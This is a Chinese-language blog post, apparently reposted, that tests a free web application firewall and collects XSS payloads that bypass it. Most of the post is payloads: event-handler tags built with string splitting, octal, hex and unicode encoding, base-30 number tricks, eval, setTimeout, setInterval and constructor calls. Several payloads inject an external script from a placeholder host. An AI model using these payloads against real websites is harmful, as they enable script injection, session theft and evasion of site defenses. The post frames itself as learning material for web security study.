测试WAF来学习XSS姿势(二)

栏目: 编程工具 · 发布时间: 5年前

内容简介:对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。前几天花了10买了一个月的服务器,换个waf来测试。

测试WAF来学习XSS姿势(二)

前言

对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。

waf

前几天花了10买了一个月的服务器,换个waf来测试。

测试WAF来学习XSS姿势(二)

遗漏标签就不测试了,上一篇水文的分享的标签也可以过,不信找几个试试= =

好吧非常打脸,拦截了。

测试WAF来学习XSS姿势(二)

然而换个prompt()函数???免费版当然是这样的啦,高级服务不仅我买不起,还绕不过啊,而且我不是真正的站长,规则我也不会设啊,总之就是这也不会那也不会。

测试WAF来学习XSS姿势(二)

测试WAF来学习XSS姿势(二)

Top属性类似的补充

还记得上篇的top属性嘛

测试WAF来学习XSS姿势(二)

实际上可以利用的还有好几个,看到这里各位是否get到什么了。

测试WAF来学习XSS姿势(二)

我们可以利用的类似拼接的对象又多了几个,例如:

//一家人就是要整整齐齐
<details open ontoggle=top['al'%2B'ert'](1) >
<details open ontoggle=self['al'%2B'ert'](1) >
<details open ontoggle=parent['al'%2B'ert'](1) >
<details open ontoggle=frames['al'%2B'ert'](1) >
<details open ontoggle=content['al'%2B'ert'](1) >
<details open ontoggle=window['al'%2B'ert'](1) >

这些都可以绕过waf,总结起来有 top self parent frames content window ,无疑 top 是最短的,所谓短小精悍,这里借用PKAV的一张ppt。

测试WAF来学习XSS姿势(二)

其他补充

除了拆分构造,我们必须要了解还有编码,这个确实是老生常谈的话题,先看个例子吧

将e字母url编码,成功弹窗也绕过waf。

<details open ontoggle=top['al%65rt'](1) >

测试WAF来学习XSS姿势(二)

其他编码

JS8编码:
<details open ontoggle=top['al145rt'](1) >
<details open ontoggle=top['141154145162164'](1) >
JS16编码:
<details open ontoggle=top['alx65rt'](1) >
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1) >

parseInt()与toString()

parseInt()

测试WAF来学习XSS姿势(二)

例子: alert 字符串用 parseInt函数 ,以基数为30转化后为 8680439

测试WAF来学习XSS姿势(二)

toString()

测试WAF来学习XSS姿势(二)

例子: toString函数 将返回的数字 8680439 ,以基数为30还原

测试WAF来学习XSS姿势(二)

这样你就能理解下面这个例子了。

<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); >

测试WAF来学习XSS姿势(二)

俩个例子

例1

<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>

这个例子很巧妙,将 altlang 属性分别赋值合并起来就是 alert ,并在top属性内将2个属性相加。

例2

<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>

在top属性内添加2个变量,并赋值构造eval,然后执行alert(1)

测试下,拦截了。

测试WAF来学习XSS姿势(二)

其实waf拦截的是alert这个关键字,换个 prompt() 函数就过了

测试WAF来学习XSS姿势(二)

也可以选择将 alert(1) 编码,因为有eval存在啊,直接拿来用

<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('141154145162164506151')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('u0061u006cu0065u0072u0074u0028u0031u0029')>

测试WAF来学习XSS姿势(二)

setTimeout()函数也是没问题的,毕竟也能执行代码。

<details open ontoggle=top[a='meout',b='setTi',b%2ba]('141154145162164506151')>

eval函数的补充

setTimeout

测试WAF来学习XSS姿势(二)

waf拦截

<svg/onload=setTimeout`alert(1)`>

测试WAF来学习XSS姿势(二)

编码下,就绕过了。

<svg/onload=setTimeout`alertu0028233u0029`>

测试WAF来学习XSS姿势(二)

setInterval

setInterval 不同,对于 setTimeout() 只执行code一次。

测试WAF来学习XSS姿势(二)

<svg/onload=setInterval('al'%2b'ert(1)')>

测试WAF来学习XSS姿势(二)

绕过waf,引用外部js。

<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>

测试WAF来学习XSS姿势(二)

拆分与编码
<svg/onload=u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=u0073etInterval(appendChild(createElement('sc162ipt')).src='http://xx.xx/eeW')>
<svg/onload=u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/onload=u0073etInterval(u0061ppendChild(u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>

结合函数:
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
<svg/onload=s=u0063reateElement('scr'%2b'ipt');u0062ody.u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); >

关于运用基于DOM的方法创建和插入节点把外部JS文件注入到网页,这种方法在<<XSS跨站脚本gj剖析与防御>>有介绍过。我这里简单演示下,如果你了解或者不感兴趣可以跳过这段。

首先用 createElement方法 创建一个script标签。

测试WAF来学习XSS姿势(二)

接下来给<script>的 src属性 设置成外部url

测试WAF来学习XSS姿势(二)

可以看到<script>标签以及src属性已经被创建出来,但是并不在页面上输出啊。

测试WAF来学习XSS姿势(二)

我们就要用到 appendChild()方法 将变量s插入页面。

测试WAF来学习XSS姿势(二)

再来看看页面上

测试WAF来学习XSS姿势(二)

constructor属性

测试WAF来学习XSS姿势(二)

少年! Post 到什么了没有。

测试WAF来学习XSS姿势(二)

又是拆分。。注意后面的 ()

<svg/onload=Set.constructor('al'%2b'ert(1)')()>

测试WAF来学习XSS姿势(二)

反引号我看行。。注意后面2个反引号。

<svg/onload=Set.constructor`alx65rtx28/xss/x29```>

测试WAF来学习XSS姿势(二)

又来引用外部url。编码拆分以及结合函数,请参考上章= =,不然我怕有人说我水。。。

测试WAF来学习XSS姿势(二)

<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>

测试WAF来学习XSS姿势(二)

补充(又是补充,你**就不能一次讲完嘛!写个文章还划水!)

咳咳,该补充的还是要补充的,除了 Set 对象还有嘛?当然有的。

测试WAF来学习XSS姿势(二)

看些例子,都可以弹窗。

测试WAF来学习XSS姿势(二)

来个简单拆分。

测试WAF来学习XSS姿势(二)

总结起来就是 Set.constructor Map.constructor clear.constructor Array.constructor WeakSet.constructor (注意区分大小写的)

<svg/onload=Set.constructor`alx65rtx28/xss/x29```>
<svg/onload=Map.constructor`alx65rtx28/xss/x29```>
<svg/onload=clear.constructor`alx65rtx28/xss/x29```>
<svg/onload=Array.constructor`alx65rtx28/xss/x29```>
<svg/onload=WeakSet.constructor`alx65rtx28/xss/x29```>

引用外部…

测试WAF来学习XSS姿势(二)

感兴趣的同学可以关注: Github项目

参考致谢

vulnerability-lab.com

swisskyrepo/PayloadsAllTheThings


以上所述就是小编给大家介绍的《测试WAF来学习XSS姿势(二)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Effective JavaScript

Effective JavaScript

David Herman / Addison-Wesley Professional / 2012-12-6 / USD 39.99

"It's uncommon to have a programming language wonk who can speak in such comfortable and friendly language as David does. His walk through the syntax and semantics of JavaScript is both charming and h......一起来看看 《Effective JavaScript》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

html转js在线工具
html转js在线工具

html转js在线工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具